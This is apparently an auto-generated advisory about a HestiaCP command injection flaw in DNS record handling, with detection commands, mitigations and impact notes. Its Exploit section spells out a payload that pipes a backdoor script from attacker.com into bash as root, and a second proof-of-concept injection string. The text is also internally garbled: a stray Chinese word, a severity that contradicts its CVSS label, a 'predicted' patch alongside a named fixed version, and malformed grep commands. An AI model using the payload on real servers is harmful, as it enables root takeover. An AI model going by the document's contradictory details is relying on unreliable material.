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How CVE-2025-30007 Works
Hestia Control Panel (HestiaCP) versions prior to 1.9.5 suffer from a critical authenticated OS command injection vulnerability that allows any low-privilege user with a valid login to execute arbitrary operating system commands as the root user. The flaw resides in the DNS record management functionality, specifically within the input validation and parsing routines that handle DNS record types.
When an authenticated user creates a new DNS record, the application invokes the `is_dns_record_format_valid()` function to perform basic format checks on the submitted record type. However, this validation is insufficient—it fails to properly neutralize special characters, most notably the single-quote ('). A single-quote character is not adequately sanitised or rejected, allowing it to pass through the initial validation layer intact.
The real danger emerges when the DNS record data is passed to the `update_domain_zone()` function. This function constructs a dynamic zone file update operation using an eval()-based parsing mechanism. The user-supplied DNS record type, now containing a single-quote, is embedded directly into a variable assignment string within the `eval()` context. By carefully crafting the input, an attacker can prematurely close the variable assignment with the injected single-quote and then append arbitrary shell commands. Because `update_domain_zone()` executes with root-level privileges—necessary for modifying system DNS zone files—the injected commands are run with the highest possible system权限.
The exploitation chain is remarkably simple and requires only a single DNS record creation step. No additional privilege escalation techniques are needed; the injection directly yields root code execution. This makes the vulnerability extremely dangerous for shared hosting environments where multiple low-privilege users exist. The attack vector is network-based, requires low privileges, and demands no user interaction, as reflected in the CVSS v4.0 score of 8.7 (High). The weakness is categorised under CWE-78 (Improper Neutralization of Special Elements used in an OS Command) and aligns with MITRE ATT&CK techniques T1059.004 (Command and Scripting Interpreter) and T1068 (Exploitation for Privilege Escalation). The vulnerability was discovered by Djibril Mounkoro and publicly disclosed on 10 July 2026.
DailyCVE Form
| Field | Value |
|-|-|
| Platform | HestiaCP |
| Version | < 1.9.5 |
| Vulnerability | OS Command Injection |
| Severity | Critical (CVSS 8.7) |
| Date | 2026-07-10 |
| Prediction | Patch expected 2026-07-20 |
What Undercode Say: Analytics & Indicators
The following bash commands and code snippets can be used to audit, detect, or simulate the vulnerability:
1. Check HestiaCP version:
/usr/local/hestia/bin/v-list-sys-hestia-config | grep VERSION
2. Grep for suspicious DNS record creation attempts in logs:
grep -i "dns.add" /var/log/hestia/hestia.log | grep -E "\x27|;|||\&"
3. Monitor for unexpected processes spawned by the web server user:
ps aux | grep -E "hestia|php" | grep -v grep
4. Audit the vulnerable function in source (if source is accessible):
grep -rn "is_dns_record_format_valid" /usr/local/hestia/ grep -rn "update_domain_zone" /usr/local/hestia/
5. Simple PoC payload structure (for educational use only):
DNS record type field injection example TYPE="A' ; id > /tmp/pwned "
Exploit
An authenticated attacker with any valid user account can perform the following steps to achieve root command execution:
1. Authenticate to the HestiaCP control panel using low-privilege credentials.
2. Navigate to the DNS record management interface for an existing domain.
3. Create a new DNS record and set the record type field to a malicious value containing a single-quote followed by arbitrary shell commands. For example:
A' ; curl http://attacker.com/backdoor.sh | bash
4. Submit the record. The insufficient validation in `is_dns_record_format_valid()` allows the payload to pass.
5. The `update_domain_zone()` function then processes the input via eval(), prematurely closing the variable assignment and executing the injected commands with root privileges.
6. The attacker gains full root access to the underlying host in a single step, enabling complete system compromise.
Protection
Immediate and long-term protective measures include:
- Upgrade to HestiaCP version 1.9.5 or later immediately. This is the only complete fix.
- Implement strict input validation for all DNS record fields, especially record types. Reject any input containing shell metacharacters (
',;,|,&,$,`, etc.). - Replace
eval()-based parsing with safe, static parsing functions that do not interpret user-supplied data as code. - Run HestiaCP worker processes with the lowest possible privilege level; avoid executing zone updates as root. Use `sudo` with narrowly defined commands.
- Enable comprehensive logging of all DNS record creation, modification, and deletion events. Monitor for anomalous patterns.
- Deploy a Web Application Firewall (WAF) with rules to block single-quote and command-injection patterns in DNS-related POST requests.
- Regularly audit the HestiaCP codebase for similar unsafe `eval()` or `system()` calls with user input.
Impact
Successful exploitation of CVE-2025-30007 has devastating consequences:
- Complete System Compromise: Attackers gain full root access to the underlying host, allowing them to read, modify, or delete any file, install backdoors, and pivot to other systems on the network.
- Data Breach: Sensitive customer data, configuration files, database credentials, and SSL private keys can be exfiltrated.
- Service Disruption: Attackers can halt or corrupt DNS services, deface websites, or deploy ransomware.
- Persistence: Root access enables the installation of persistent malware, rootkits, or hidden user accounts for future access.
- Reputational Damage: Hosting providers and system administrators face significant reputational harm and potential legal liabilities from data breaches.
- Supply Chain Risk: Compromised control panels can be used to distribute malicious updates or inject code into hosted applications.
Given the low barrier to exploitation—requiring only any authenticated user account—this vulnerability poses an immediate and severe threat to all HestiaCP deployments prior to version 1.9.5. Organisations must treat this as a critical priority and apply the patch without delay.
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Sources:
Reported By: nvd.nist.gov
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